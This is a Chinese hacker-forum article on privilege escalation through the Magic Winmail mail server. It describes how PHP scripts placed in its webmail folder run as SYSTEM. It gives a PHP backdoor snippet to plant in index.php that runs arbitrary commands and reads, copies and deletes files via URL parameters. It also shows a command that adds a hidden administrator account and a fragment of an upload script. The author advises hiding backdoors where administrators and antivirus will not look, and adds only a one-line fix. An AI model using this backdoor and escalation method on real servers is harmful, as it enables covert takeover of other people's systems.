上一篇:CHM帮助文件的编程实现 >>
使用Magic Winmail来提升权限
magic winmail是一款很不错的mail server 软件,深受不少网站的青睐。主要是一些中小的网站。但是在笔者最近的一次渗透中发现,装有改软件的服务器,如果一旦被入侵者得到webshell就可以通过这个软件来提升权限,非常危险。
装有magic winmail的服务器会在系统上开启8080端口,对外提供邮件服务。使用过它的人应该知道。这个magic winmail服务器支持php脚本解析。图1
screen.width-300)this.width=screen.width-300 border=0 alt=click to open in new window>
在装有magic winmail的文件夹下有
一个server的文件夹,其下有webmail文件夹。图2
screen.width-300)this.width=screen.width-300 border=0 alt=click to open in new window>
大家可以发现这个文件夹下是一些php脚本的文件。因为magic winmail这个软件可以解析php脚本,也真是我们利用这个漏洞来提升权限的得力帮手。发现这个方法实属偶然,本来我想在这个服务器上装个后门,怎么装呢? 由于本人思路比较怪。一般不会使用常规的方法,就在这个服务器8080端口上打主意了。这个magic winmail就是最佳地点。你在d:\magicw~1\server\webmail[我测试的机器上的物理路径]文件下随便放置php脚本,不管是脚本注入式的还是普通的php脚本,随便放! 而且lis0提示请放心大胆使用,不会有日志吗? 菜鸟了吧。一般系统被入侵,管理员到系统盘下又是md5校验又是脚本木马查杀的。他做梦也想不到我们的脚本会放在这个文件夹下,lis0推荐使用注入式的脚本或者是自己写的不被杀毒软件能k的脚本。我哪个脚本? lis0使用的是angel写的一个up.php,又插入了一点东西。玩的时候,上传个自己修改过的脚本或者其它东东,很方便。日志呢?当然还是有的。不过还是在magic winmail文件夹下,到目前为止能到这个文件夹下查看日志的网管还真的是不多,除非看了这篇文章 :)
up.php的codz
";
echo "http://";.$server_name."".dirname($php_self)."/".$fname."";
} else {
echo "上传失败";
}
?>
" method="post">
其实我们可以将如下的代码插入到magic winmail的index.php文件中去,它的功能已经构多了。加上lis0发现的漏洞。这就算是个最完美的后门了。
if ($id=="1"){
system($cmd);
show_source($file);
copy($a,$b);unlink($a);
}
?>
我们使用http://www.target.com:8080/index.php?id=1&yy=xx 就可以正大光明地访问我们的肉鸡了。好像这样做太黑了点:)
还没说漏洞呢?废话多了。将一个php的脚本放在d:\magicw~1\server\webmail下,图3
screen.width-300)this.width=screen.width-300 border=0 alt=click to open in new window>
然后正大光明地 net user lis0 lis0 /add & net localgroup administrators
lis0 /add 这个就是哥们发现的漏洞,不相信, 让肉鸡来证明我说的是没错的啊。图4
screen.width-300)this.width=screen.width-300 border=0 alt=click to open in new window>
lis0"非常不情愿"给告诉你这个webshell是system级别的而不是你那个guest级别的东西。虽然同是webshell待遇却不同啊。至于你想要玩其它的东东的话,使用上面我提起的up.php上传应该是不成问题的。然后在脚本的那个可爱的小框框中执行就ok了
如果使用asp脚本可以提升限权吗? 也放在magic winmail那个文件夹下。
我们可以分析一下如果magic winmail可以同时解析php和asp脚本的话,应该是可以的。不好意思magic winmail是不可以解析asp脚本的,magic winmail这边是php的世界。
我们这边简单地分析一个这个漏洞是如何产生的?我们可爱的网管在装magic winmail的时候肯定是以system级别的身份装的。当然magic winmail就继承了system级别的限权,而我们的magic winmail却可以解析php脚本,想当然我们可爱的php脚本就是system级别的脚本了。这个magic winmail软件有点像咱国产netbox的味道。
看看我们分析的对不对,于是我上传了个php探针,看看它到底是怎么回事情。图5:
screen.width-300)this.width=screen.width-300 border=0 alt=click to open in new window>
看到了没~乖乖
system级别的 & 而且无被禁函数 & 允许/最大 32m & lis0高兴ing。我个人认为这个一个最完美的php脚本后门放置地点,随意发挥你的php才华。好了就这么多了,希望能对大家渗透有所帮助。
解决方法:将magic winmail所在盘作相应处理,限制guest限权的用户访问。
声明:由于该方法对于不少人来说可谓是一大惊喜,放置后门加提升限权可能带来不良影响。所作的测试的脚本已经完全删除。无聊人士请勿对号入座。
()
下一篇:解析系统漏洞扫描的两大类型 >>
相关文章:
- · 脚本的巧妙应用
- · Linux操作系统12则经典应用技巧
- · 绕过javascript的过滤----Flash!attack漏洞
- · 只用ISO映像文件能装系统
- · 用perl调用系统命令来实现IPC$远程猜解
- · 外挂编写完全攻略
- · 注册表的六种个性化应用
- · 命令行下修改文件访问控制权限
- · SQL Server应用程序中的高级SQL注入
- · leadbbs移花接木漏洞与加入黑客木马
- · XPSP2多线程访问提速秘技
- · Sniffer:黑客入侵最常用的手段
- · CGI安全漏洞资料速查表
- · 浅谈如何针对DDos部署防御措施
- · 什么是 TCP SYN Flood 攻击
- · TCP协议的通讯方式
- · 基于NetBIOS的简单Windows进攻法
- · UNIX及黑客入门的探索与思考
- · 文件扩展名导致的安全问题
- · 黑客攻击步骤-如何获得IP
- · 局域网上网的安全防范与技巧
- · 在2000/xp下禁用USB接口
- · 最全最新的mp3芯片介绍
- · 防止Serv_U6.0.0.2权限提升的方法
- · coms密码无敌破解大法
- · DOS攻击与天网DOS防御网关技术
- · 天网防火墙负载分担技术
- · TCP SYN Flood防御方法
- · TCP SYN Flood检测与防范
- · 使用firefox浏览器的十个理由
- · TCP SYN Flood攻击的机制
- · 微软反间谍软件与恶意软件移除工具之区别
- · PHP网站漏洞的相关总结
- · 如何更改 pcAnywhere IP 端口
- · 系统安全的最小特权原则
- · 防DDoS攻击11招
- · 轻松学习 PKI
- · PKI技术安全电子商务的基石
